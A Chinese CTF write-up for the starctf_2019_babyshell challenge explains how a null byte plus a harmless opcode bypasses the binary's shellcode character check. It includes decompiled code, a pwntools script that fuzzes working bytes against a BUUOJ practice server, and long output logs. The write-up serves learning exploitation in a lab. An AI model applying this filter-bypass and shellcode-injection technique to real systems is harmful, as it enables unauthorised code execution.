今天做题时候发现一个很有意思的题目，我们输入shellcode，然后满足指定条件之后就可以执行shellcode，一般思路就是在限定条件下拼凑shellcode；但是网上有个很巧妙的方案绕过检查，之后直接使用pwntools内置的shellcode就可以拿到shell，简单记录下这个方案
checksec
checksec starctf_2019_babyshell
[*] '/home/fuzz/Desktop/ctf/starctf_2019_babyshell'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
漏洞函数
main函数如下
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_BYTE *buf; // [rsp+0h] [rbp-10h]
sub_4007F8();
buf = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);
puts("give me shellcode, plz:");
read(0, buf, 0x200uLL);
if ( !(unsigned int)sub_400786(buf) )
{
printf("wrong shellcode!");
exit(0);
}
((void (*)(void))buf)();
return 0LL;
}
sub_4007F8();函数是初始化的，不用管；sub_400786是检查shellcode是不是在这些内容里
__int64 __fastcall sub_400786(_BYTE *a1)
{
const char *i; // [rsp+18h] [rbp-10h]
while ( *a1 )
{
for ( i = aZzjLovesShellC; *i && *i != *a1; ++i )// ZZJ loves shell_code,and here is a gift:
;
if ( !*i )
return 0LL;
++a1;
}
return 1LL;
}
wp
参考这篇文章“汇编语言中0x00的妙用”我们可以使用0x00绕过检查函数，我们需要找到一些包含0x00的shellcode，并且这些shellcode必须不影响后续shellcode执行
link:https://blog.csdn.net/A951860555/article/details/120043354
这里介绍的方法是使用pwn disasm找到这些可用的opcode，很显然这个·004200·不是惟一的方案
pwn disasm -c amd64 004200
0: 00 42 00 add BYTE PTR [rdx+0x0], al
我们可以使用fuzz的方式测试下究竟哪些字节可以，使用下面的脚本
from pwn import*
context.arch="amd64"
success_list = []
# context(log_level='debug',arch='amd64', os='linux')
p=remote('node5.buuoj.cn',27030)
for first_byte in range(0x01, 0x100):
try:
pay=bytes([0x00,first_byte])+asm(shellcraft.execve("/bin/ls"))
p.sendafter('plz:', pay)
time.sleep(0.5)
# p.send('ls')
# data = p.recv()
data2 = p.recvlines(10)
print(f'data:{data2}')
if b'flag' in data2:
print(f'success:{hex(first_byte)}')
success_list.append(first_byte)
p.close()
except:
p = remote('node5.buuoj.cn', 27030)
print(f'success_list:{success_list}')
得到下面的结果
[+] Opening connection to node5.buuoj.cn on port 25948: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0xc0
[*] Closed connection to node5.buuoj.cn port 25948
[+] Opening connection to node5.buuoj.cn on port 25948: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0xc2
[*] Closed connection to node5.buuoj.cn port 25948
[+] Opening connection to node5.buuoj.cn on port 25948: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0xc4
[*] Closed connection to node5.buuoj.cn port 25948
[+] Opening connection to node5.buuoj.cn on port 25948: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0xc6
[*] Closed connection to node5.buuoj.cn port 25948
[+] Opening connection to node5.buuoj.cn on port 25948: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0xc8
[*] Closed connection to node5.buuoj.cn port 25948
[+] Opening connection to node5.buuoj.cn on port 25948: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0xca
[*] Closed connection to node5.buuoj.cn port 25948
[+] Opening connection to node5.buuoj.cn on port 25948: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0xcc
[*] Closed connection to node5.buuoj.cn port 25948
[+] Opening connection to node5.buuoj.cn on port 25948: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0xce
[*] Closed connection to node5.buuoj.cn port 25948
[+] Opening connection to node5.buuoj.cn on port 25948: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0xd0
[*] Closed connection to node5.buuoj.cn port 25948
[+] Opening connection to node5.buuoj.cn on port 25948: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0xd2
[*] Closed connection to node5.buuoj.cn port 25948
[+] Opening connection to node5.buuoj.cn on port 25948: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0xd4
[*] Closed connection to node5.buuoj.cn port 25948
[+] Opening connection to node5.buuoj.cn on port 25948: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0xd6
[*] Closed connection to node5.buuoj.cn port 25948
[+] Opening connection to node5.buuoj.cn on port 25948: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0xd8
[*] Closed connection to node5.buuoj.cn port 25948
[+] Opening connection to node5.buuoj.cn on port 25948: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0xda
[*] Closed connection to node5.buuoj.cn port 25948
[+] Opening connection to node5.buuoj.cn on port 25948: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0xdc
[*] Closed connection to node5.buuoj.cn port 25948
[+] Opening connection to node5.buuoj.cn on port 25948: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0xde
[*] Closed connection to node5.buuoj.cn port 25948
[+] Opening connection to node5.buuoj.cn on port 25948: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0xe0
[*] Closed connection to node5.buuoj.cn port 25948
[+] Opening connection to node5.buuoj.cn on port 25948: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0xe2
[*] Closed connection to node5.buuoj.cn port 25948
[+] Opening connection to node5.buuoj.cn on port 25948: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0xe4
[*] Closed connection to node5.buuoj.cn port 25948
[+] Opening connection to node5.buuoj.cn on port 25948: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0xe6
[*] Closed connection to node5.buuoj.cn port 25948
[+] Opening connection to node5.buuoj.cn on port 25948: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0xe8
[*] Closed connection to node5.buuoj.cn port 25948
[+] Opening connection to node5.buuoj.cn on port 25948: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0xea
[*] Closed connection to node5.buuoj.cn port 25948
[+] Opening connection to node5.buuoj.cn on port 25948: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0xec
[*] Closed connection to node5.buuoj.cn port 25948
[+] Opening connection to node5.buuoj.cn on port 25948: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0xee
[*] Closed connection to node5.buuoj.cn port 25948
[+] Opening connection to node5.buuoj.cn on port 25948: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0xf0
[*] Closed connection to node5.buuoj.cn port 25948
[+] Opening connection to node5.buuoj.cn on port 25948: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0xf2
[*] Closed connection to node5.buuoj.cn port 25948
[+] Opening connection to node5.buuoj.cn on port 25948: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0xf4
[*] Closed connection to node5.buuoj.cn port 25948
[+] Opening connection to node5.buuoj.cn on port 25948: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0xf6
[*] Closed connection to node5.buuoj.cn port 25948
[+] Opening connection to node5.buuoj.cn on port 25948: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0xf8
[*] Closed connection to node5.buuoj.cn port 25948
[+] Opening connection to node5.buuoj.cn on port 25948: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0xfa
[*] Closed connection to node5.buuoj.cn port 25948
[+] Opening connection to node5.buuoj.cn on port 25948: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0xfc
[*] Closed connection to node5.buuoj.cn port 25948
[+] Opening connection to node5.buuoj.cn on port 25948: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0xfe
[*] Closed connection to node5.buuoj.cn port 25948
[+] Opening connection to node5.buuoj.cn on port 25948: Done
success_list:['0x2', '0x6', '0xa', '0xe', '0x12', '0x16', '0x1a', '0x1e', '0x22', '0x26', '0x2a', '0x2e', '0x32', '0x36', '0x3a', '0x3e', '0xc0', '0xc2', '0xc4', '0xc6', '0xc8', '0xca', '0xcc', '0xce', '0xd0', '0xd2', '0xd4', '0xd6', '0xd8', '0xda', '0xdc', '0xde', '0xe0', '0xe2', '0xe4', '0xe6', '0xe8', '0xea', '0xec', '0xee', '0xf0', '0xf2', '0xf4', '0xf6', '0xf8', '0xfa', '0xfc', '0xfe']
我们再试试三字节的可用opcode
pay=bytes([0x00,first_byte, 0x00]) + asm(shellcraft.execve("/bin/ls"))
得到下面的结果
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0x42
[+] Opening connection to node5.buuoj.cn on port 27030: Done
[+] Opening connection to node5.buuoj.cn on port 27030: Done
[+] Opening connection to node5.buuoj.cn on port 27030: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0x45
[+] Opening connection to node5.buuoj.cn on port 27030: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0x46
[+] Opening connection to node5.buuoj.cn on port 27030: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0x47
[+] Opening connection to node5.buuoj.cn on port 27030: Done
[+] Opening connection to node5.buuoj.cn on port 27030: Done
[+] Opening connection to node5.buuoj.cn on port 27030: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0x4a
[+] Opening connection to node5.buuoj.cn on port 27030: Done
[+] Opening connection to node5.buuoj.cn on port 27030: Done
[+] Opening connection to node5.buuoj.cn on port 27030: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0x4d
[+] Opening connection to node5.buuoj.cn on port 27030: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0x4e
[+] Opening connection to node5.buuoj.cn on port 27030: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0x4f
[+] Opening connection to node5.buuoj.cn on port 27030: Done
[+] Opening connection to node5.buuoj.cn on port 27030: Done
[+] Opening connection to node5.buuoj.cn on port 27030: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0x52
[+] Opening connection to node5.buuoj.cn on port 27030: Done
[+] Opening connection to node5.buuoj.cn on port 27030: Done
[+] Opening connection to node5.buuoj.cn on port 27030: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0x55
[+] Opening connection to node5.buuoj.cn on port 27030: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0x56
[+] Opening connection to node5.buuoj.cn on port 27030: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0x57
[+] Opening connection to node5.buuoj.cn on port 27030: Done
[+] Opening connection to node5.buuoj.cn on port 27030: Done
[+] Opening connection to node5.buuoj.cn on port 27030: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0x5a
[+] Opening connection to node5.buuoj.cn on port 27030: Done
[+] Opening connection to node5.buuoj.cn on port 27030: Done
[+] Opening connection to node5.buuoj.cn on port 27030: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0x5d
[+] Opening connection to node5.buuoj.cn on port 27030: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0x5e
[+] Opening connection to node5.buuoj.cn on port 27030: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0x5f
[+] Opening connection to node5.buuoj.cn on port 27030: Done
[+] Opening connection to node5.buuoj.cn on port 27030: Done
[+] Opening connection to node5.buuoj.cn on port 27030: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0x62
[+] Opening connection to node5.buuoj.cn on port 27030: Done
[+] Opening connection to node5.buuoj.cn on port 27030: Done
[+] Opening connection to node5.buuoj.cn on port 27030: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0x65
[+] Opening connection to node5.buuoj.cn on port 27030: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0x66
[+] Opening connection to node5.buuoj.cn on port 27030: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0x67
[+] Opening connection to node5.buuoj.cn on port 27030: Done
[+] Opening connection to node5.buuoj.cn on port 27030: Done
[+] Opening connection to node5.buuoj.cn on port 27030: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0x6a
[+] Opening connection to node5.buuoj.cn on port 27030: Done
[+] Opening connection to node5.buuoj.cn on port 27030: Done
[+] Opening connection to node5.buuoj.cn on port 27030: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0x6d
[+] Opening connection to node5.buuoj.cn on port 27030: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0x6e
[+] Opening connection to node5.buuoj.cn on port 27030: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0x6f
[+] Opening connection to node5.buuoj.cn on port 27030: Done
[+] Opening connection to node5.buuoj.cn on port 27030: Done
[+] Opening connection to node5.buuoj.cn on port 27030: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0x72
[+] Opening connection to node5.buuoj.cn on port 27030: Done
[+] Opening connection to node5.buuoj.cn on port 27030: Done
[+] Opening connection to node5.buuoj.cn on port 27030: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0x75
[+] Opening connection to node5.buuoj.cn on port 27030: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0x76
[+] Opening connection to node5.buuoj.cn on port 27030: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0x77
[+] Opening connection to node5.buuoj.cn on port 27030: Done
[+] Opening connection to node5.buuoj.cn on port 27030: Done
[+] Opening connection to node5.buuoj.cn on port 27030: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0x7a
[+] Opening connection to node5.buuoj.cn on port 27030: Done
[+] Opening connection to node5.buuoj.cn on port 27030: Done
[+] Opening connection to node5.buuoj.cn on port 27030: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0x7d
[+] Opening connection to node5.buuoj.cn on port 27030: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0x7e
[+] Opening connection to node5.buuoj.cn on port 27030: Done
data:[b'', b'bin', b'boot', b'dev', b'etc', b'flag', b'flag.txt', b'home', b'lib', b'lib32']
success:0x7f
